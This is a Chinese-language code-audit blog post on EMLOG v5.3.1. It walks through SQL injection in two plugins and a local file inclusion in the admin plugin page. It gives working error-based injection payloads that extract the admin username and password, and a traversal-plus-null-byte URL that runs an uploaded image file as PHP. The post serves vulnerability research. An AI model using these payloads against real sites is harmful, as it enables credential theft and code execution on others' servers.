[代码审计]EMLOG v5.3.1 超鸡肋SQL注入+本地文件包含

首先，你既然点进来了这篇文章，说明你也是被这篇文章标题所吸引了进来的，所以我可能需要提前说明下。

**接下来的内容可能会引起不适，请在有伙伴的情况下阅读本文。不然我担心你会被我气死。**

因为这篇文章，并没有什么 **亮点！亮点！亮点！**而且非常**鸡肋！鸡肋！鸡肋！**

重要的事情，说三篇。

###0x00 前言：
------------
	 首先本地搭建环境，我所使用的是Windows PHPstudy集成环境。使用起来非常方便。特别是审计的时候。可以任意切换PHP版本。

###0x01 CMS简介：
------------
	EMLOG 是 every memory log 的简称，意即：点滴记忆。是一款基于PHP和MySQL的功能强大的博客及CMS建站系统。致力于为您提供快速、稳定，且在使用上又极其简单、舒适的内容创作及站点搭建服务。

###0x02 正文：
------------
首先来看二处SQL注入。二处都是基于在插件上出的问题（由此可见很多开发者并没有遵循插件开发规则来进行插件的开发的）。
####先看第一处,插件为：`MarkDown for Emlog大前端`
![1.png](http://www.bugsafe.cn/usr/uploads/2017/12/370294651.png)

漏洞所在文件：`/content/plugins/emlog_markdown/emlog_markdown.php`
漏洞所在行数：`41行（即为以下代码）`
```php
<?php

/**
 * 添加
 *
 * @param array $logData
 * @return int
 */
function emlog_markdown_add($logData) {
    $db = MySql::getInstance();
    $kItem = array();
    $dItem = array();
    foreach ($logData as $key => $data) {
        $kItem[] = $key;
        $dItem[] = $data;
    }
    $field = implode(',', $kItem);
    $values = "'" . implode("','", $dItem) . "'";
	// var_dump($values);exit;
    $db->query("INSERT INTO " . DB_PREFIX . "markdown ($field) VALUES ($values)");
    $logid = $db->insert_id();
    return $logid;
}

/**
 * 更新
 *
 * @param array $logData
 * @param int $blogId
 */
function emlog_markdown_update($logData, $blogId) {
    $db = MySql::getInstance();
    $Item = array();
    foreach ($logData as $key => $data) {
        $Item[] = "$key='$data'";
    }
    $upStr = implode(',', $Item);
    $db->query("UPDATE " . DB_PREFIX . "markdown SET $upStr WHERE logid=$blogId");
}

function emlog_markdown_save_log($logid){
    $db = MySql::getInstance();
    $data = $db->query("SELECT * FROM ".DB_PREFIX."markdown WHERE logid ='$logid'");

if($db->fetch_array($data) == ""){
 $logData = array('logid' => $logid,
 'content' => $_POST["aaaaa-markdown-doc"]);
 emlog_markdown_add($logData);
 }else{
 $UplogData = array('content' => $_POST["aaaaa-markdown-doc"]);
 emlog_markdown_update($UplogData, $logid);
 }
}
```
首先我们可以看到：`function emlog_markdown_add($logData)` 这个函数的作用是处理数据格式以及插入数据的操作。    接下来我们需要找到是从哪个地方调用了这个函数，并且将`$logData`传入了进来。
可以看到`48行`:
```php
$logData = array('logid' => $logid,'content' => $_POST["aaaaa-markdown-doc"]);
emlog_markdown_add($logData);
```
这里调用了这个`函数`并且传入了一个`数组`进去。我们可以清晰的看到`$logData`所接收的`content`是直接获取的`POST`传过来的参数。并未对其进行`过滤转义`等操作的。接下来，我们看看`emlog_markdown_add($logData)` 这个函数具体做了哪些操作。
```php
<?php
/**
 * 添加
 *
 * @param array $logData
 * @return int
 */
function emlog_markdown_add($logData) {
 $db = MySql::getInstance();
 $kItem = array();
 $dItem = array();
 foreach ($logData as $key => $data) {
 $kItem[] = $key;
 $dItem[] = $data;
 }
 $field = implode(',', $kItem);
 $values = "'" . implode("','", $dItem) . "'";

$db->query("INSERT INTO " . DB_PREFIX . "markdown ($field) VALUES ($values)");
    $logid = $db->insert_id();
    return $logid;
}
```
这里先是定义了两个空数组。将`$logData`的键赋值给`$kItem`数组然后将值赋值给了`$dItem`数组。接下来呢是将`$kItem`以及`$dItem`进行一个转换操作。将一个数组值以`","`进行拼接转换成字符串，之后直接进行了数据库的插入操作。
最后组成正常运行的SQL语句就是：`INSERT INTO emlog_markdown (logid,content) VALUES (logid,content)`
接下来开始真正的XXOO
`test' and extractvalue(2, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM emlog_user limit 0,1))),'`
![2.png](http://www.bugsafe.cn/usr/uploads/2017/12/2959504024.png)
![3.png](http://www.bugsafe.cn/usr/uploads/2017/12/214199906.png)

第50行的修改操作处也是直接获取并未对其进行转义过滤的
```php
$UplogData = array('content' => $_POST["aaaaa-markdown-doc"]);
emlog_markdown_update($UplogData, $logid);
```
定位到 `emlog_markdown_update($UplogData, $logid)`
```php
<?
/**
 * 更新
 *
 * @param array $logData
 * @param int $blogId
 */
function emlog_markdown_update($logData, $blogId) {
 $db = MySql::getInstance();
 $Item = array();
 foreach ($logData as $key => $data) {
 $Item[] = "$key='$data'";
 }
 $upStr = implode(',', $Item);
 $db->query("UPDATE " . DB_PREFIX . "markdown SET $upStr WHERE logid=$blogId");
}
```
根据上述代码（由于原理差别不大，所以就简单描述）可看到也是对`$logData`进行数据处理。最后放进`sql`语句内。

`test' and extractvalue(2, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM emlog_user limit 0,1))) and '`
![4.png](http://www.bugsafe.cn/usr/uploads/2017/12/568165425.png)
两个都成功爆出了管理员账号密码。如果开启了该插件的话。作者权限的账号也是可以进行注入的。

####第二处,插件为：`评论邮件通知`
![5.png](http://www.bugsafe.cn/usr/uploads/2017/12/1565643001.png)

漏洞所在文件：`/content/plugins/digg/digg.php`
漏洞所在行数：`8-9行`
```php
<?php
function send_notice() {
	require (EMLOG_ROOT . '/content/plugins/commentNotice/commentNotice_config.php');
	$DB = MySql :: getInstance();
	$comname = isset ($_POST['comname']) ? addslashes(trim($_POST['comname'])) : 'admin';
	$comment = $_POST['comment'];
	$articleUrl = $_SERVER['HTTP_REFERER'];
	$_POST['gid'] == "" ? $gid = $_GET['gid'] : $gid = $_POST['gid'];
	$_POST['pid'] == "" ? $pid = $_GET['pid'] : $pid = $_POST['pid'];
	if ($pid != 0 && $config["rule"]==0) {
		$query = $DB->query("select mail from " . DB_PREFIX . "comment where cid=" . $pid);
		while ($rs = $DB->fetch_array($query)) {
			$sendto_email = $rs['mail'];
		}
	} else {
		$sendto_email = $config["smtpUser"];
	}
	//判断是否在排除列表中
	if (in_array($sendto_email, $config[exclude])){
		$sendto_email = "";
	}
	$excludeUrl = $_SERVER['HTTP_HOST']."/content/plugins/commentNotice/commentNotice_exclude.php";
	$blogname = Option :: get('blogname');
	$Log_Model = new Log_Model();
	$logData = $Log_Model->getOneLogForHome($gid);
	$log_title = $logData['log_title'];
	$send_title = '您在[' . $blogname . ']中收到了[' . $comname . ']的评论';
	$send_content = '[' . $comname . ']在文章《' . $log_title . '》中评论了您： ' . $comment . ' <a href="' . $articleUrl . '" target="_blank">详情请点击</a> 如果您不喜欢这种邮件通知的方式，请<a href="http://'.$excludeUrl.'?email='.$sendto_email.'" target="_blank">点此取消</a>';
	
	if($sendto_email!=""){
		// 参数说明(发送到, 邮件主题, 邮件内容, 附加信息, 用户名) 
		smtp_mail($sendto_email, $send_title, $send_content, "liuzp.com", $comname);
	}
}

有些朋友可能有疑问，像在上面代码中没有明确的显示出哪个地方有调用`send_notice()`这个函数啊。为什么发帖的时候能调用这个地方呢？这个就是`emlog`的挂载点了。看`39行`代码：`addAction('comment_saved', 'send_notice');`
这个意思呢就是将`send_notice`函数绑定到系统的`comment_saved`事件中,只要系统执行到了`comment_saved`挂载点时,就会调用`send_notice`函数了。

####本地文件包含：
漏洞所在文件：`/admin/plugin.php`
漏洞所在行数：`6行（即为以下代码）`
```php
<?php
$plugin = isset($_GET['plugin']) ? $_GET['plugin'] : '';

/*...此处省略多处代码..*/

//加载插件配置页面
if ($action == '' && $plugin) {

include View::getView('header');
	require_once "../content/plugins/{$plugin}/{$plugin}_setting.php";
	plugin_setting_view();
	include View::getView('footer');
}
```
看到第6行。直接获取的就是`$_GET['plugin']`的值，然而开发人员并未对`$_GET['plugin']`进行判断限制。
URL：`http://www.xxxx.com/admin/plugin.php?plugin=content`

如果URL是这样的话。那么`require_once`的则为：`../content/plugins/content/content_setting.php`

首先我们已经得知`$plugin`是可控的。所以只要我们想办法将第二个`$plugin`开始往后的内容让它直接不运行。就可以直接造成本地文件包含了。可以使用`%00`截断。但是是有`PHP版本`的要求。我们先新建一个`<?php phpinfo();?>`后缀名改为`jpg`上传。
![8.png](http://www.bugsafe.cn/usr/uploads/2017/12/1106175377.png)

拿到图片路径：`../content/uploadfile/201708/62bf1504189069.jpg`
我们看他引入的路径,固定的是在`content`下的`plugins`，然而图片上传存放路径是`content`下的`uploadfile`。所以我们只需要跳一级目录即可。然后加上`%00`将后面的全部截断。
URL：`http://www.xxxx.com/admin/plugin.php?plugin=../uploadfile/201708/62bf1504189069.jpg%00`
实际上`require_once`包含的则为：`../content/uploadfile/201708/62bf1504189069.jpg`
然后包含的文件都会将其作为`php`去执行。所以咱们就可以直接输出`phpinfo`内容了。
![9.png](http://www.bugsafe.cn/usr/uploads/2017/12/56341195.png)
 
** PS：本着以交流分享。如果有好的方法或者思路以及上文讲述不正确的地方欢迎指出。谢谢！如果有什么语句不通的话望指出。可能是在写文章的时候没太注意。**

Poacher's Blog

信息安全梦开始的地方,一个菜鸡#

[代码审计]EMLOG v5.3.1 超鸡肋SQL注入+本地文件包含

添加新评论

最新文章